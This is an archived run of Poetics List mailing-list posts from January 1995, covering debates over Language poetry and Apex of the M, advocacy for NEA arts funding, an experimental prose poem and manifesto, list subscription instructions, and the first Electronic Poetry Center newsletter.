Wed 25 Jan 1995

I think, although others may differ, that the attention to M is based on its "belligerent" attack on L, its infantile "why aren't we being included in the

scene" resentment, and its frontal oversimplified politics when addressing such sensitive and subtle issues as spirit.

People are too eager to accept or credit or pay attention to these simplified attacks as if such simplicity were a more direct line to truth. The L group has tried to represent an alternative to such bluntness as antithetical to the complex process of writing and the multifold relations between that process and its dissemination to other writers to individual readers to the culture as a whole through its ideas and recursively to the writer of the original work. M seems to be trying to replace that complex web with an antiquated iconography thinly updated. I think also that Pam Rehm is a fine poet and the prose writing in Apex is admirable and profoundly misdirected. I think it's that combination which has attracted attention.

A Poetics and my personal favorite of the new publications "Chain" and others have not gotten that attention and that speaks to the exchange Chris Stro.. is involved in today. They are engaging in an ongoing dialog on many and interesting issues which we wouldn't think about combining in some false rubric and reifying to death. They are getting on with the work of making a world of poetry.

I wish that the M issue would just go away, but it won't and needs to be addressed even if addresssing it does make it more palpable. I wish all of those reactionaries disguised as the "new" thing would go away but Newt must also be dealt with and all such metered nonsense by people afraid to face the future.

I hope that's what you meant by why. Jamses

On Mon, 23 Jan 1995, Mark Wallace wrote:

> *In regards to James Sherry's post, why the (again) valorization of the M as the sole "meaningful" response of younger "experimental" writers to Language poetry?*
>
> *Why does no one respond to A Poetics of Criticism, Poetic Briefs, various essays in Witz and Texture and (sometimes interesting essays) Talisman, which have all said much more complex, insightful, and useful things regarding this issue?*
>
> *mark wallace*

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133. George Bowering
Re: apex of the m
Wed 25 Jan 1995

In 1964 a revolutionary Central American poet told me what he thought about the relationship between language and fighting. He said "Agrarian reform of the mind before agrarian reform of the land."

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134. Spencer Selby
Re: apex of the m...
Thu 26 Jan 1995

Dear Chris, When it comes to most editorial response today, names do matter more than the poetry. You're not naive to believe otherwise, you're in denial, and you've got a lot of company. (Forgive me for responding to yr letter to eric rather than the one to me, which I did appreciate.) Yrs, Spencer

↑ Index

135. Michael Boughn
Up in smoke
Thu 26 Jan 1995

Is the question, Is L more genuine than M, or is M less rigorous than L? Or is it that L + M = (aside from a nostalgia for smoking) M + L which is greater than the sum of its parts. Actually, you have to hand it to the Mers, who seemed to have learned well from the Lers (who I suspect, if "truth" be told, got it from the Yippies) (who, of course, got it from Madison Avenue) that a catchy logo(s) is half the battle of marketing. That and a "movement" to tag it to.

Call me I=R=R=E=S=I=S=T=I=B=L=E.

Mike
[redacted]

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136. Peter
Re: Up in smoke
Thu 26 Jan 1995

Connell McGrath is in the process of breaking down the o-blek office and asked me to post the following announcement:

POETRY READERS

o-blek magazine is out of business and I want to pass
on our overstock to interested readers. They are available
on a first-come first serve basis at the following rates:
o-blek /#'s 1 thru 9 & 11 are a $1.50 per book, o-blek/12's
are $4 per set while they last. These amounts will cover
the cost of mailing materials and postage. Please help
me to get these wonderful books into the right hands. Tell
all who may be interested, buy as many as you like, do it soon.

Respectfully,

Connell McGrath

Send Check made out to o-blek to:
o-blek
PO Box 1242
Stockbridge, MA 01262

Please feel free to post this annoucement to other lists or
to print out and pass on to others. Thanks

Peter Gizzi

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137. Jorge Guitart
a reading of apex of the m 2
Thu 26 Jan 1995

I have read Apex of the M 2, of the famous editorial.

Nothing in it is 100% certified radically transparent--and that includes the editorial calling for radical transparency.

Some of the stuff in the editorial struck me as radically opaque
Some as medium opaque
Some of the poems were of medium transparency
some of medium opacity

but every poem was extraordinary (though not in the sense of "used for a special service or occasion"--I thought of the wall street journal, where the editorials are conservative and (some of) the stories liberal. Here the editoria "radical" and the poems are "conservative".

i am pessimistic about radically transparent poetry bringing about the classless waste your time on me: organize.

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138. **Marc Nasdor**
Re: NEA Enemy Action
Thu 26 Jan 1995

RE: James's posting on the NEA:

I think maybe I can rustle up a few "big hair" and long-nail salons out here in Staten Island to apply for a grant to satisfy the GOPpers. Do you think we should apply under the Folk Art category? :-)

Seriously, though, an effective strategy would be to accentuate the positive and argue for the NEA's survival based on the many small arts organizations and presses, etc., that the endowment funds. They should have have gotten rid of the fellowships a long time ago anyway. Besides, you can't even live for a year on $20,000 anymore, at least not on the coasts.

Cheers,

Marc Nasdor
[redacted] or [redacted]

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139. **Marc Nasdor**
Re: New Press Release
Thu 26 Jan 1995

I've been off the wire for awhile.

Could someone tell me where the New York Freely Espousing event will take place, and at what time?

Thanks.

Marc Nasdor
[redacted]
[redacted]

↑ Index

140. **Ted Pelton**
Re: freely espousing
Thu 26 Jan 1995

Thinking about the NEA again and just having listened to NPR: When is it better to lose than to win? Jane Alexander testified to the senate today about all the travelling she had done and when she spoke to the common people how much art meant to them. Then the freshman senator from Missouri (I forget his name) asked about the problem of art being funded that the majority of

Americans felt challenged their basic values. Did Jane Alexander then say that that was precisely the type of art that a democracy should fund? No. Instead she waffled about how they were trying to make sure that such things didn't happen in the future, that they had safeguarded again funding such things in the future (Mapplethorpe, of course, but not said out loud). Seeing an opening, the senator then said that he for one did not trust the NEA to make such safeguards themselves. Do you see where this is going? What if the NEA is preserved, but only to fund orchestras and such?

Talking to Alexander Ooms (in the lit program at the NEA) a week ago, he mentioned something that happened in Louisiana a couple of years ago. The legislature axed all arts funding. This so mobilized the arts community that they put enough pressure on government and the next year the legislature gave the arts funding at a dollar per citizen, double their previous budget.

The NEA being eliminated might not be as bad as what's currently shaping up. What if federal grants to individual artists were dropped and all money given to states in block grants instead? One can imagine that this might lead to no new artists being funded at all, at least in some (most?) states, the climate being such that what's most feared is anything potentially perceivable as dangerous, as critical, as confrontational.

I don't like the way this is going.

Ted Pelton

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141. George Bowering

Re: apex of the m...

Fri 27 Jan 1995

Cienfuegos said, when the Communist Party was trying to impose socialist realism on Cuban art and writing: "Revolutionary art is part of the revolution." He did not mean realist stories about heroic peasants. He did not mean (have you seen it?) the 1960 National Art Museum in Sofia.

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142. Steve Evans

Re: New Press Release

Fri 27 Jan 1995

Marc,

You may want to double check with Jeff Hull, but I
am pretty sure *FE* will be at the Poetry Project

(Parish Hall) from 3-6pm. People are being encouraged
to attend Kate Rushin's reading at the Ear Inn and
then proceed over to the Project.

Jeff's number is [redacted] or you can call
Brenda at the Project.

Glad to hear of your interest in all this.

Steve

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143. **Evans/Moxley**
Espousing Update 1/26
Fri 27 Jan 1995

This didn't make it through on a first try....

----------Original message---------- As the 28th draws near, reports from all *Freely Espousing* sites sound very encouraging. We once again thank everyone who has devoted some of (or all of) their time recently to making sure that the events will be thought- and action- provoking. We will try to make "field reports" available to the list as soon after the events as possible. So far, attempts to have on-line links haven't panned out, but that was probably more due to time constraints than anything else.

SUGGESTED PETITION LANGUAGE

We, the undersigned, wish to make known our unwavering support for federal funding of the arts, humanities, and public broadcast media. We endorse a strong, uncensored National Endowment of the Arts; a vigorous National Endowment of the Humanities; and continued public ownership of and access to the airwaves. As citizens, we will oppose all attempts to dismantle the nation's cultural infrastructure. Arts and education must be democratized, not-- as some members of the 104th Congress currently argue--privatized. Furthermore, in our capacity as artists, writers, scholars, educators, students, curators, and persons committed to democratic cultural and social ideals, we will continue to assist the public in coming to an informed opinion about the enormous return on what is indeed a modest national investment in the arts and humanities.

(Note: Joe Ross may have suggestions for alternative language on the petitions by tomorrow. Joe--can you post such if indeed you get it?)

ALEXANDER'S TESTIMONY

We were unable to listen to JA's testimony this morning, but on Ted Pelton's account it seems well within her usual range. And we agree with Ted that it is

a sobering/depressing range indeed (tho not so sobering perhaps as Mr. Heston's House testimony!). The narrowly economic approach being taken by many of the arts advocacy bureacracies should, we think, be countered by an articulate collective voice within the context of continued support for federal arts funding. Here in Providence, that's one thing we'll be interested in watching on Saturday: as organizers, we are arguing democracy, not the bottom line, as the bottom line. Many of our featured speakers, however, will take the prevailing economic line. Should be interesting.

PROVIDENCE FEATURED SPEAKERS

We don't have detailed programmes for other sites, but we thought people might be interested to know the speakers we'll be featuring on Saturday. They are:

Roger Mandle, President of Rhode Island School of Design and NEA Advisory Counsel Member
Liam Rector, Freedom to Write-Boston
C.D. Wright, RI Poet Laureate
Ray Rickman, Host of PBS's _Bestsellers_
Terry Ann Greenwood, Director of RI Arts Advocates, Dir. of RI Philharmonic
Randy Rosenbaum, Director of Rhode Island State Council on the Arts
Doreen Bolger, Director of RISD Museum
Michael Harper, Professor of Creative Writing at Brown, Former State Laureate
Rudy Cheeks, journalist for local alternative weekly(The Phoenix)
Congressman Jack Reed
Mayor of Providence Vincent "Buddy" Cianci

Many other people from the education, dance, theater, small press, and artists collectives "scenes" in RI have leant support and will participate throughout the day.

STATEMENTS FROM AFAR

After our last request, we received several excellent statements that will be read on Saturday. We'll include further statements if they arrive in time to be printed up, so take twenty minutes tomorrow and dash one out.

NEA COVER STORY IN THIS WEEKS VILLAGE VOICE

A valuable four pages or so in this week's *Voice* includes a terrific piece by Michael Feingold in which he applies to Switzerland for "amnesty" on behalf of the U.S.'s half-million cultural workers. C. Carr's "Hanging by a Thread" is useful for identifying the key advocacy groups currently working on saving arts funding. Elizabeth Hess tallies the costs of internal censorship on both the NEA & NEH's parts.

AND DON'T MISS

The editorial in today's NY Times entitled "Eating Her Offspring" by Mike Rich. Rich adopts OJ-speak to point out the considerable contra- dictions in Lynne Cheney's testimony to Tuesday's House subcomittee, most importantly her attack on the National History Standards that she helped to write and that she now cites as evidence of the NEH's unacceptable behavior.

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144. **James Sherry**
Re: apex of the m...
Fri 27 Jan 1995

OK George, what DID he mean? James

On Thu, 26 Jan 1995, George Bowering wrote:

> *Cienfuegos said, when the Communist Party was trying to impose socialist realism on Cuban art and writing: "Revolutionary art is part of the revolution." He did not mean realist stories about heroic peasants. He did not mean (have you seen it?) the 1960 National Art Museum in Sofia.*

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145. **I.LIGHTMAN**
apex of the m
Fri 27 Jan 1995

The truth of a process makes sense to and among those at the end of the process, where the transcription of thought on the page is a clean mirror to both writer and readers, writer as s/he writes, reader as s/he reads; the book unwritten is the look that speaks volumes between and among such.

This so rare that most of us do in the name of more, ever more, vocal and verbal, dropped out of empathy then yanked back, the lack of us in "you-you" the vocation of study, time out.

Oscar does not believe that art is being and thought is ugliness. He says so as in his day was no art and thought. Those who use Freud as if he were himself as benign and liberational as they do what he did not put sex against the ban on sex, power against stable.

Such sects! Lift up hearts, prey on. The dream can only create if sleep is not for the provision of rest, o day for rest and night for study. Bade the body. The good faith goads the intellect setting the church of our agenda which, fulfilled, burns. We digest the stone and break into a jog.

Dream breathing. Think, your very heart beating is bleeding and the blood next to come is bleeding into your heart, the oxygen is bleeding to become blood, the folks with beating blood are beating the air only. Dream wing.

All every night walk by the venue in their heads where perfect truth of process plays the energy of creation. All have greater artists than Shakespeare to meet, but avery eye, don't converse, few attend, few remember, we are special in knowing we're special not especially.

The perfect dreamer in all, in each, not a speaking to us all. Few go to sleep with the energy to mingle. I know I'm not alone in this. Shakespeare the artist in history, fifty of the sixteenth and seventeenth hundreds of years, everyone is Shakespeare.

The dead can dance. Dreams trot through our excuses, scared to knock such vital guards. The fear's not explained till the dream's not come back against twenty such sentries. Step out of the stage and into the tubes.

Stick to your gun till you blow off your head, walk again on your legs no one else's, carry your seed as she grows in your arms, out of your pain, let her, away from your pain. Think well of yourself, use your hands, get a grip, on the non-carnal gun.

So many arms, swinging under the noosed throats, the unspoken carried on so many legs. Like dream life's accidents, vile, we dream nearer and nearer, the guard hangs in the air, twitching, tapping. We feel bumped into until, joy, we are alive.

The ambient never wake up. Like you don't. You begin to ban humour and alcohol, the mares buck and head for the guards in new hope. Rest is not it, without truth towards process towards truth.

If you're still reading, no-one's got anything. Some *should* let thoughts fester in the mind, process the festering. I know mortally the years from when I was born, each day the unit of measurement cuts history into me-sized portions, knowing ledges. I dodder to think the art of it.

Sophocles mortal braved Freud, now so less winning. The Freud-led walk through him, more to hurt that if they'd gone by him, on every shelf in every flame-stricken library? Mind how you go. Excavate Plato, afraid to go out, for dream research.

Nothing like life to keep you from dying, the nerves are steel strings, loud acoustic. Song begins the vibration, words reason the entry, into society, largely worthy of nothing so clarity!

Be you once, the harsh heart sooner or timely, a slick into two dimensions, of prose, this nuisance is losing its once fascination, the pattern returns to its

usual dynamic. Think in the two, drink in the third, things they don't want to reveal indicate why do you say that.

I get it. Draw on planes, repairing the prairie, the gasses from the busses, the hole us. Destroy two to save three. The hurt behind the face understood yields to surf on the face again.

The month from a flame that took our collection, from our senses, and flashed a banner over a dish of a dominant hemisphere, the northern, a cap with the bill right in front of our eyes. A missable interactive experience, a miserable sky made it so.

Is cool holodeck sky? I sensed it cambe back to my name, but a short therapist circuits the patient, tree dimensional. I'll take my "clumsiness", I didn't dream "it" up, I ride broken in the bumps of a world I ought never to have believed was mine only thought. Alive-in world.

The process of a sense makes truth to and among those at the head of a process, where the transcription of truth on the page is a claimed mirror to both writers and reader, writer as reader as utter; the book unsmitten is the look that speaks volumes between and among such.

MANIFESTO FOLLOWS SHORTLY

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146. I.LIGHTMAN

CALL FOR A DECISIVE BREAK WITH THE PAST (NURTURE THE APEX)

Fri 27 Jan 1995

From: CPCMB::P280 "I.LIGHTMAN" 27-JAN-1995 15:42:29.58
To: P280
CC:
Subj:

1) Spiritualism. Never assume that in attacking something as religious, you are not part of a religion yourself. Jung not Freud.

2) If you are going to use the I-Ching, notice how your interaction with it produces a different work than is produced by someone else using the I-Ching. Notice that your works are more like each other, than your I-Ching works are like I-Ching works by other artists. Stockhausen not Cage.

3) Keep listening.

5) Have Pound's decency to look back on what you've represented. Next Generation not Kirk.

8) If improvisation is free, why do many of its evenings go out to the same boundary and no further? Leibniz not Newton.

13) To lecture, Stein milking not mocking a restrained common vocabulary to write descriptions, not Derrida punning and concatenating with abstracts to provoke, always with fixed unspoken loyalties of his own, and not own explicitly. Close to who you pretend?

21) Non-Freudian not neo-Freudian post-structuralism, if any.

34) Gloria Steinem not Julia Kristeva.

55) Fuck gender-fuck, open up genre. Harryman not Silliman. Thresh hold of "becoming" an adult and "no longer" being like a child. Neil Gaiman not Ridley Scott. Nurture, non-sexual love sexual life; actual practice of community, professor. Elizabeth Burns' _Letters to Elizabeth Bishop_, not Derrida's _The Post Card_.

89) Hyper-reality and reality, extend, object both ways. Posters and paintings of words not handwritten notebooks. Brush syntax. Johanna Drucker meets Emily Dickinson.

144) The sentence was a good stretch, but now I choose my
jailors. Sing energy. So long when you misuse lyric poetry as
a prison term. "The voice makes possible the entire continuum
from the most extreme consonant-like noises to the purest
vocal sound, and is far superior to even the most modern
apparatus for creating tone-colours". Stockhausen not Zukofsky,
the musical phrase, remember, not the metronome.

IF YOU FOLLOW (OR ARE NEARER TO THIS MANIFESTO THAN
TO OTHERS), PLEASE SUBMIT WORK TO "CHEERFUL FOLK
POP OUT OF BUXTEHUDE"

[redacted]

OR

IRA LIGHTMAN
48 GLOUCESTER STREET
NORWICH
NR2 2DX
UNITED KINGDOM

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147. **Jorge Guitart**
cienfuegos and socialist realism
Fri 27 Jan 1995

Was that Camilo Cienfuegos, who disappeared mysteriously in Oct '59? (played centerfield for the San Francisco Seals (AAA) before the Rev) it couldnt have been Osmany Cienfuegos, Castro bureaucrat and murderer of bay of pigs invaders (put them in a cattle truck without ventilation).

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148. **Chris Stroffolino**
Re: CALL FOR A DECISIVE BREAK WITH THE PAST (NURTURE THE APEX)
Fri 27 Jan 1995

Hey--great fibonnuci (sic0 sequence, Ira. Anyway, Elizabeth Burns is here in Albany, NY and she'll no doubt to be thrilled your mention of her icw Derrida. Ah, names! chris s.

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149. **I.LIGHTMAN**
Re: CALL FOR A DECISIVE BREAK WITH THE PAST (NURTURE THE APEX)
Fri 27 Jan 1995

HI Chris,

Isn't Katie Yates in Albany? She's fab. How would one move to Albany, work there? I'm thinking of it as a next place to live. Ira

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150. **Steven Howard Shoemaker**
Life Supports
Fri 27 Jan 1995

Does anyone know how i can obtain a copy of Life Supports, William Bronk's Collected Poems, which seems to have recently and lamentably become "unsupportable," i.e. gone out of print?

Steve Shoemaker
[redacted]

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151. **Spencer Selby**
Re: apex of the m...
Fri 27 Jan 1995

Well, Chris, I don't know about yr distinction here. You talk about work read "on its own merits," that's what I was responding to. To me the group label is a secondary issue, though certainly related to what I consider primary--namely that people are unwilling or unable to respond to the work on its own merits. They need the signature, the name behind it, whatever might go along with that, whether it be group affiliation, things they've heard about you, yr publishing and/or life history or what they know of it, relations or encounters they've had with you, what they think of you, what they've heard other people think of you, what you believe and what you say about yrself (or anything else under the sun). In short, what they know or think they know of who you are. This is what I mean by name, and this is what is more important in our social reality than the work, unfortunately--most unfortunately. Yrs, Spencer

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152. **Jeffrey Timmons**
Re: CALL FOR A DECISIVE BREAK WITH THE PAST (NURTURE THE APEX)
Fri 27 Jan 1995

"DECISIVE BREAK WITH THE PAST"? Hm.

Jeffrey Timmons

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153. **Jeffrey Timmons**
Re: Espousing Update 1/26
Fri 27 Jan 1995

I am standing on the fringes. . .of this NEA thing, interested and provoked, yet not quite knowing where I stand on the issue. I am curious if someone would care to articulate the argument exactly why the federal government should keep funding the arts, humanities, etc. Now, keep in mind I am of the inclination that it should be continued--that we need support for arts and culture in this country--but that I am particularly curious how it is possible to argue with what appears a majority (hardly) who feel that such funding has been to undermine their values. How does one make the argument that the government ought to fund something that may militate against convention and "American" values? The way I see this is that it is going to very difficult to persuade people with power (reflecting the national mood-swing) to fund

something that offends them. Does the federal government have a responsibility to fund art? Yes, of course it does, but if resources are few and the choices even fewer then . . .? Gosh, you know, I know I may be putting my head in the proverbial lion's mouth here, but I am interested in what and why on this issue and ask it so that I might understand it better. I don't want to offend anyone who feels strongly about this, I mean, afterall, I'd much rather the government fund education, art, mass transportation, etc, etc, than the military, etc, etc, etc. . . . And I'm also interested in the possibility that this fiscal argument is actually a covert way of making a cultural argument, of defunding the opposition. But here's where it gets real interesting, doesn't it, I mean, should those that feel that their values are under attack from these agencies honestly be persuaded that they should cough up tax money for something that offends them. It's our money, too, I suppose, but, sometimes I wonder if they're aren't more of them than there are of us. . . and I hate saying that cause we should all be having a broader dialogue with others of different opinions so we can explain what it is that we are attempting when we reread Western Civilisation and so they can articulate why it upsets them . . . and this all makes it so clear of how much is really at stake I suppose and I have to wonder if the opposition between the for/against isn't a distraction from some larger issue that we should be paying attention to ...or, I mean that the argument is a distraction from something else we should be noticing or . . . . And, you know, I just want to know why, why is arts funding important and why should someone who believes it's not fiscally responsible and culturally offensive pay for it? Sorry so long.

Jeffrey Timmons

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154. Loss Glazier

epc.news (note)

Fri 27 Jan 1995

A slightly corrected version of the epc.news posted to this list has been placed in the Electronic Poetry Center. Epc.news is available through the web version under the "hotlist."

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155. Charles Bernstein

Re: sign

Fri 27 Jan 1995

How did you hear about the Poetics List? IS SFU State?

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156. **Charles Bernstein**

Re: sign

Sat 28 Jan 1995

Welcome to the Poetics List.

Please note that this is a private list and information about the list should not be posted to other lists or directories. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list small and the volume managable. Word-of-mouth (and its electronic equivalents) seems to be working fine: please feel free to invite people you know to sign-up. It is easier for me if they sign-up by themselves AND send me ([redacted]) a note telling me how they heard about the list. I will send them *this* document in reply.

To see who is subscribed to Poetics, send an e-mail message to

[redacted]

body of your e-mail message type:

review poetics

(The shorter bitnet address is [redacted]. All further references to "Listserve" are to this listserve.)

message, with no subject line, to the listserv address:

{or}

I will be sent a notice of all subscription activity.

ARCHIVES

There are two ways to get archives. The easiest way is to use the archives of the list at the Electronic Poetry Center (EPC), for which see the end of this message. The other way is described below:

Anyone interested in an archive of all postings after March may send this message to "Listserve":

index poetics

or

index poetics f=mail

You will receive a list of archived files in a format that includes something like this:

* rec last - change * filename filetype GET PUT -fm lrecl nrecs date time

POETICS LOG9403 ALL OWN V 80 1012 94/05/31 07:17:17
Started on Mon,
7 Mar 1994 12:51:12 -0600
POETICS LOG9404 ALL OWN V 83 1864 94/05/31 07:18:54
Started on Sat,
2 Apr 1994 16:01:07 -050
POETICS NOTEBOOK ALL OWN V 640 1693 94/06/09 15:27:09
Started on Sun,
1 May 1994 09:47:10 -0500

You can then send the "get" command to "Listserve" in the format:

get filename filetype (eg: get poetics log9403
get poetics log9403
get poetics notebook)

or

get filename filetype f=mail

depending on which log file you want (you can also get multiple files with one message). Note that each of the files has a different beginning and end date, eg LOG9404 starts 7 March and goes to 31 May and that dates overlap. Go figure! "Poetics Notebook" is an anomalous name for what is, in effect, another log file.

****

Send an e-mail message to [redacted]. Leave the "Subject" line of the e-mail message blank. In the body of your e-mail message type:

subscribe e-poetry Firstname Lastname

where Firstname and Lastname correspond to your name.

You will receive a confirmation of your subscription soon thereafter. (Nonsubscribers can automatically sub to Poetics using this same format, but substituting "poetics" for "e- poetry".)

**

```
    ____    ____   ____
   /   /   /   / /   /
   EEEE   PPPPP  CCCCC
   EE /   PP PP  CC  C/
   EEE    PPPPP  CC   /        URL=gopher://writing.upenn.edu/11/
  __EE  /_ PP |__ CC  C ____
 /  EEEE/  PP/    CCCCC/    /    internet/library/e-journals/ub/rift
/___________________________/
|-------------------------|
```

| Electronic Poetry Center |
|_____|

E P C . N E W S

No. 1 (January, 1995)

Contents:

1.0 Basic Assumptions
2.0 Poetry and the Electronic Place
3.0 Interfaces: Gopher, Web, Mosaic; Bookmarks
4.0 RIF/T Notes
5.0 EPC New Additions
6.0 How to Connect

1.0 Basic Assumptions

The Electronic Poetry Center seeks to provide a central _place_ for Internet resources for poetry and poetics.

The lay of the land:

1.__Welcome : Electronic Poetry Center Welcome & FAQ's (About)/
2.__RIF/T : RIF/T / New Poetry, Prose, & Poetics (Texts)/
3.__Poetics : Calendar, Poetics List Archive & Files (Texts)/
4.__Authors : Electronic Poetry & Poetics - Authors (Texts)/
5.__E-Journals : Gateway to Electronic Poetry Journals (Texts)/
6.__E-Resources : Gateway to Electronic Poetry Resources (Connects)/
7.__Small Press : Electronic Poetry Center Small Press Alcove (Cites)/
8.__Gallery : The Electronic Poetry Gallery (Visuals)/
9.__Sound : The Electronic Poetry Sound Room (Sound Files)/
10._Documents : Poetry & Poetics Document Archive (Texts)/

11._Exhibits : Electronic Poetry Center Exhibit case (Texts)/
12._Notices : Electronic Poetry Center Announcements (Info)/

The Center continues to provide access to the electronic poetry and poetics journal, RIF/T, and the archives of the Poetics List. Needless to say, the EPC provides quality archival materials for these resources. For the Poetics archive, a feature has recently been added to allow keyword searching for the immense number of files comprising this archive.

The EPC author library offers texts and/or information about contemporary poets in a variety of formats.

A number of electronic journals are archived and distributed by the EPC. Journals distributed through the EPC differ from other e-journal archives in a significant way: the texts presented here have been checked and verified by their issuing agency, thus at least getting to you versions of electronic journals that have a direct link to their source. We are delighted to offer these journals to you and will continue to make sure texts presented are done so in collaboration with their producers. For resources outside the EPC, we have written links to make seamless connections to these resources. It is our aim to be vigilent about our links so that persons interested in poetry and poetics do not have to spend a lot of time digging for addresses, remembering sites, and locating resources. Through the selections available at the EPC, users of the system have simple and direct access to many other related Internet resources.

The Center also provides information about contemporary little magazines and small presses engaged in poetry and poetics. Since this information is often difficult to locate, it is presented at the EPC in hopes of recongizing these contributions, facilitating communication, and providing an additional outlet for these extremely valuable print sources. Look here also for Selby's List of Experimental Magazines.

The Poetry & Poetics Document Archive provides access to a number of documents of use to poets, teachers, and researchers. Here you will find essay material and current obituaries. This area should be consulted in conjunction with the Poetics Files and Small Press Sources areas, which also offer material of pedagogical use.

The EPC also presently offers gallery, sound, exhibts, and an announcements area.

2.0 Poetry and the Electronic Place

Compared to say, a year ago, many people might agree that the idea of some sort of an electronic forum for poetry is not only a possibility but an inevitability. We have seen the continued growth of the Poetics List (I counted around 250 postings the month of December 1994 alone) and the development of the Electronic Poetry Center. The EPC has maintained a significant circulation. We regularly get letters from various world outposts attesting to the reality of such connectivity. Interesting also are the number of visits taking place, both locally and across distance; despite the dips and peaks that typify any active place, the EPC has seen a good amount of traffic across its doorstep. For those with such inclination (and it is illuminating that the following compare favorably with circulation statistics, say, for a little magazine) here are some numbers:

Month	_Connects_
Nov 1994	573
Oct 1994	429
Sep 1994	367
August 1994	348
July 1994	614
June 1994	110

These statistics give only a sense of scale, it should be noted, since direct connections to EPC submenus and entries through Veronica searches, a significant number of connects, are not included in the above statistics.

3.0 Interface: Gopher, Web, Mosaic

Even as activities converge, it is also the time of divergent interfaces. I am often surprised by the number of our contributors and participants who do not even have gopher access. (These, again, not represented in the above statistics.) Most people, we figure, have at least gopher access, though Web access is quickly becoming a standard. Mosaic, it would be assumed, though assuming predominance in the University setting, has hardly become a reality for most dial-up users, particularly internationally. (For the sake of a common ground, gopher is an ascii-based interface that offers access through the selection of menus; the web is an ascii-based interface that offers access through _screens_ of information with links to other areas appearing as highlighted text; Mosaic is a graphical interface basically superimposed on the Web structure that offers images, sound, video, and allows you to use your mouse as a navigational tool.) The EPC is accessible through any of these interfaces. It is presently evolving strongly towards exclusive Web/Mosaic access.

Informational Notes: (1) The standard for Web/Mosaic documents is the markup protocol called html. These are imbedded codes that you will see once in a while when you download an html document. These codes give instructions to the software about highlighting, fonts, and screen layout, as well as providing for the _hot links_ that make possible Web/Mosaic navigation. (2) A feature of these interfaces that should be mentioned is the bookmark. You may wish to investigate this as most systems allow you to set a bookmark, say at the EPC, and gain immediate access to it when you invoke your interface.

4.0 RIF/T Notes

Forthcoming from RIF/T are two special issues. The first of these is the Transpoeisis issue (see EPC Announcements for details) which will offer a muti-faced and multi-format approach to the presentation of translations. Also forthcoming, a planned special issue on Charles Olson. RIF/T will also soon issue the first in a series of special chapbooks. Much on the way!

5.0 EPC New Additions

Many additions have been made to the EPC in the past six months. Following are some of the journals archived and directly distributed by the EPC:

DIU / Albany
Experioddi(cyber)cist / Florence, AL
Inter\face / Albany
Poemata - Canadian Poetry Assoc. / London, Ontario (Info)/
RIF/T: Electronic Space for New Poetry, Prose, & Poetics
Segue Foundation/Roof Book News / New York
TREE: TapRoot Electronic Edition / Lakewood, Ohio
We Magazine / Santa Cruz
Witz / Toluca Lake, CA / via Syntax

Significant connections which the EPC would like to highlight include the following:

Alternative-X
Basil Bunting Poetry Centre (Durham, England)
[Informational]
Best-Quality Audio Web Poems (Rhode Island)
Carma Bums 'Tour of Words'
CICNET Electronic Journal Archive
Institute for Advanced Technology in the Humanities
(Virginia)

Internet Poetry Archive (North Carolina)
Michigan Electronic Text Archive
Nous Refuse Discussion List (Illinois)
Postmodern Culture (North Carolina)
Whole Earth 'Lectronic Magazine

6.0 How to Connect

The Center is located at gopher://writing.upenn.edu/11/internet/ library/e-journals/ub/rift

Gopher Access: For those who have access to gopher, type
gopher writing.upenn.edu
at your system prompt. First choose Libraries & Library Resources, then Electronic Journals, then E-Journals/Resources Produced Here At UB, then The Electronic Poetry Center. (Note: Connections to some Poetry Center resources require Web access, though most are presently available through gopher).

World-Wide Web and Mosaic Access:
For those with World-Wide Web (lynx) or Mosaic access, from your interface, choose the _go to URL_ option then go to (type as one continuous string)
gopher://writing.upenn.edu/11/internet/
library/e-journals/ub/rift

(Substituting hh for 11 in the URL above may produce better results on your system.)

Check with your system administrator if you have problems with access. Also ask about setting a "bookmark" through your system for quick and easy access to the Center when you log on.

If you have comments or suggestions about sites to be added to the Center, do not hesitate to contact Loss Pequen~o Glazier, [redacted] or Kenneth Sherwood, [redacted]

The Electronic Poetry Center is administered in Buffalo by
E-Poetry
and RIF/T in coordination with the Poetics List.

Loss Pequen~o Glazier
for Kenneth Sherwood and Loss Glazier
in collaboration with Charles Bernstein

End of EPC.News #1

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157. **Chris Stroffolino**

Re: CALL FOR A DECISIVE BREAK WITH THE PAST (NURTURE THE APEX)

Sat 28 Jan 1995

Yates left Albany in August for Boulder, Co. Naropa scene buddhist holistic meditation trip. Her whereabouts are unknown to me and as far as I know to most here in Albany. If anybody, probably funkhouser would know.... As for moving to Albany, I'm torn about what to tell you. We certainly would enjoy the presence of another poet here. Why would you want to leave England for a country (gendered masculine--sorry) who has "Blown its wad" in a century that is approaching its end? Just curious--chris

↑ Index

158. **braman sandra**

Funding Arguments

Sat 28 Jan 1995

In answer to Jeffery Timmons, and anyone else -- As a scholar whose field of research is information policy, I've spent some time over the past couple of years articulating reasons why a nation-state should be concerned about arts policy. The arguments I offer differ from those traditionally available (makes money for the communities, eg...) because I believe the position of the arts within the postmodern condition/the information society play a different role vis a vis private and public power structures. Theories of self-organizing systems are used. Happy to send a "popular" and/or academic version of these arguments fully laid out to anyone who sends a snail address, and will try to put a one-screen version of the arguments up later today. Sandra Braman Institute of Communications Research University of Illinois-Urbana [redacted]

↑ Index

159. **Ron Silliman**

Katie Yates

Sat 28 Jan 1995

When I saw her at Naropa last summer, Katie Yates was saying that she planned to move permanently to Boulder. She'd attended Naropa before Albany (and is, in fact, the first grad of the Kerouac school to go on to get a PhD in

writing, odd degree that that is). She was on this list when she was at Albany, but I don't know if she still has access. Katie, are you there?

Ron Silliman
[redacted]

↑ Index

160. Evans/Moxley
Re: Funding Arguments
Sat 28 Jan 1995

Sandra:

We would love to make the "popular" version of your
argument available to the audience at *Freely Espousing*
this afternoon. Any chance of having it, via e-mail,
by 1:30 or so?

Yours,

Steve Evans and Jennifer Moxley

↑ Index

161. Pierre Joris
Re: Katie Yates
Sat 28 Jan 1995

Ron, A PhD in writing wld be an odd degree indeed. The Albany grad program,however, involves what we call "a nexus of discourses" with three primary areas: writing / criticism / pedagogy. A degree has to involve at least 2 of those, as did, for example, Katie's.

Pierre

========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother. ==========

↑ Index

162. **Chris Scheil**
Re: Espousing Update 1/26
Sat 28 Jan 1995

